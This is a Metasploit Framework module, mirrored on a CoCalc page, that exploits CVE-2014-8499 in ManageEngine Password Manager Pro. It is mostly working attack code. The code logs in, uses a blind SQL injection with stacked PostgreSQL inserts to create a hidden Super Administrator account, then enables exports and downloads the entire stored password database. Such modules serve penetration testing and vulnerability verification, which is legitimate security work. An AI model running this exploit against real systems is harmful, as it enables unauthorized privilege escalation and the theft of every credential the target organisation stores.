CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
15
'Description' => %q{
16
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
17
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
18
privileges and obtain Super Administrator access. A Super Administrator can then
19
use his privileges to dump the whole password database in CSV format. PMP can use
20
both MySQL and PostgreSQL databases but this module only exploits the latter as
21
MySQL does not support stacked queries with Java. PostgreSQL is the default database
22
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
23
so a higher version does not guarantee exploitability. This module has been tested
24
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
25
v7.1 build 7105 and above.
26
},
27
'Author' => [
28
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
[ 'CVE', '2014-8499' ],
33
[ 'OSVDB', '114485' ],
34
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ],
35
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],
36
],
37
'DisclosureDate' => '2014-11-08'
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(7272),
44
OptBool.new('SSL', [true, 'Use SSL', true]),
45
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
46
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
47
OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/'])
48
]
49
)
50
end
51
52
def login(username, password)
53
# 1st step: we obtain a JSESSIONID cookie...
54
res = send_request_cgi({
55
'method' => 'GET',
56
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')
57
})
58
59
if res && res.code == 200
60
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
61
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/
62
orgn_name = ::Regexp.last_match(1)
63
else
64
orgn_name = nil
65
end
66
67
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/
68
authrule_name = ::Regexp.last_match(1)
69
else
70
authrule_name = nil
71
end
72
73
# 3rd step: we try to get the domainName for the user
74
cookie = res.get_cookies
75
res = send_request_cgi({
76
'method' => 'POST',
77
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
78
'ctype' => 'application/x-www-form-urlencoded',
79
'cookie' => cookie,
80
'vars_get' => {
81
'RequestType' => 'GetUserDomainName',
82
'userName' => username
83
}
84
})
85
if res && res.code == 200 && res.body
86
domain_name = res.body.to_s.strip
87
else
88
domain_name = nil
89
end
90
91
# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.
92
# For some reason send_request_cgi! doesn't work, so follow the redirect manually...
93
vars_post = {
94
'j_username' => username,
95
'username' => username,
96
'j_password' => password
97
}
98
vars_post['ORGN_NAME'] = orgn_name if orgn_name
99
vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name
100
vars_post['domainName'] = domain_name if domain_name
101
102
res = send_request_cgi({
103
'method' => 'POST',
104
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')),
105
'ctype' => 'application/x-www-form-urlencoded',
106
'cookie' => cookie,
107
'vars_post' => vars_post
108
})
109
if res && res.code == 302
110
res = send_request_cgi({
111
'method' => 'GET',
112
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
113
'cookie' => cookie
114
})
115
116
if res && res.code == 200
117
# 5th step: get the c ookies sent in the last response
118
return res.get_cookies
119
end
120
end
121
end
122
return nil
123
end
124
125
def inject_sql(old_style)
126
# On versions older than 7000 the injection is slightly different (we call it "old style").
127
# For "new style" versions we can escalate to super admin by doing
128
# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"
129
# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.
130
if old_style
131
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
132
else
133
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
134
end
135
136
user_id = Rex::Text.rand_text_numeric(4)
137
time = Rex::Text.rand_text_numeric(8)
138
username = Rex::Text.rand_text_alpha_lower(6)
139
username_chr = ''
140
username.each_char do |c|
141
username_chr << 'chr(' << c.ord.to_s << ')||'
142
end
143
username_chr.chop!.chop!
144
145
password = Rex::Text.rand_text_alphanumeric(10)
146
password_chr = ''
147
password.each_char do |c|
148
password_chr << 'chr(' << c.ord.to_s << ')||'
149
end
150
password_chr.chop!.chop!
151
152
group_chr = ''
153
'Default Group'.each_char do |c|
154
group_chr << 'chr(' << c.ord.to_s << ')||'
155
end
156
group_chr.chop!.chop!
157
158
sqli_command =
159
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \
160
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \
161
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \
162
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \
163
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \
164
"insert into aaaauthorizedrole values (#{user_id},1);" \
165
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
166
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
167
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \
168
"insert into aaaaccpassword values (#{user_id},#{user_id});" \
169
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \
170
"insert into ptrx_superadmin values (#{user_id},true);"
171
sqli_suffix = '-- '
172
173
res = send_request_cgi({
174
'method' => 'POST',
175
'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'),
176
'cookie' => @cookie,
177
'vars_post' => {
178
'COUNT' => Rex::Text.rand_text_numeric(2),
179
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
180
'USERID' => Rex::Text.rand_text_numeric(4)
181
}
182
})
183
184
return [ username, password ]
185
end
186
187
def get_version
188
res = send_request_cgi({
189
'uri' => normalize_uri('PassTrixMain.cc'),
190
'method' => 'GET'
191
})
192
if res && res.code == 200 && res.body &&
193
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
194
(
195
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
196
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
197
res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7
198
)
199
return ::Regexp.last_match(1).to_i
200
else
201
return 9999
202
end
203
end
204
205
def check
206
version = get_version
207
case version
208
when 0..7104
209
return Exploit::CheckCode::Appears
210
when 7105..9998
211
return Exploit::CheckCode::Safe
212
else
213
return Exploit::CheckCode::Unknown
214
end
215
end
216
217
def run
218
unless check == Exploit::CheckCode::Appears
219
print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
220
end
221
222
version = get_version
223
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
224
if @cookie.nil?
225
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
226
end
227
228
creds = inject_sql(version < 7000)
229
username = creds[0]
230
password = creds[1]
231
print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
232
233
cookie_su = login(username, password)
234
235
if cookie_su.nil?
236
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
237
end
238
239
print_status('Reporting Super Administrator credentials...')
240
store_valid_credentail(user: username, private: password)
241
242
print_status('Leaking Password database...')
243
loot_passwords(cookie_su)
244
end
245
246
def service_details
247
super.merge({ access_level: 'Super Administrator' })
248
end
249
250
def loot_passwords(cookie_admin)
251
# 1st we turn on password exports
252
send_request_cgi({
253
'method' => 'POST',
254
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
255
'cookie' => cookie_admin,
256
'vars_post' => {
257
'IS_XLS' => 'true',
258
'includePasswd' => 'true',
259
'HOMETAB' => 'true',
260
'RESTAB' => 'true',
261
'RGTAB' => 'true',
262
'PASSWD_RULE' => 'Offline Password File',
263
'LOGOUT_TIME' => '20'
264
}
265
})
266
267
# now get the loot!
268
res = send_request_cgi({
269
'method' => 'GET',
270
'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),
271
'cookie' => cookie_admin,
272
'vars_get' => {
273
'RequestType' => 'ExportResources'
274
}
275
})
276
277
if res && res.code == 200 && res.body && !res.body.to_s.empty?
278
vprint_line(res.body.to_s)
279
print_good('Successfully exported password database from Password Manager Pro.')
280
loot_name = 'manageengine.passwordmanagerpro.password.db'
281
loot_type = 'text/csv'
282
loot_filename = 'manageengine_pmp_password_db.csv'
283
loot_desc = 'ManageEngine Password Manager Pro Password DB'
284
p = store_loot(
285
loot_name,
286
loot_type,
287
rhost,
288
res.body,
289
loot_filename,
290
loot_desc
291
)
292
print_status("Password database saved in: #{p}")
293
else
294
print_error('Failed to export Password Manager Pro passwords.')
295
end
296
end
297
end
298
299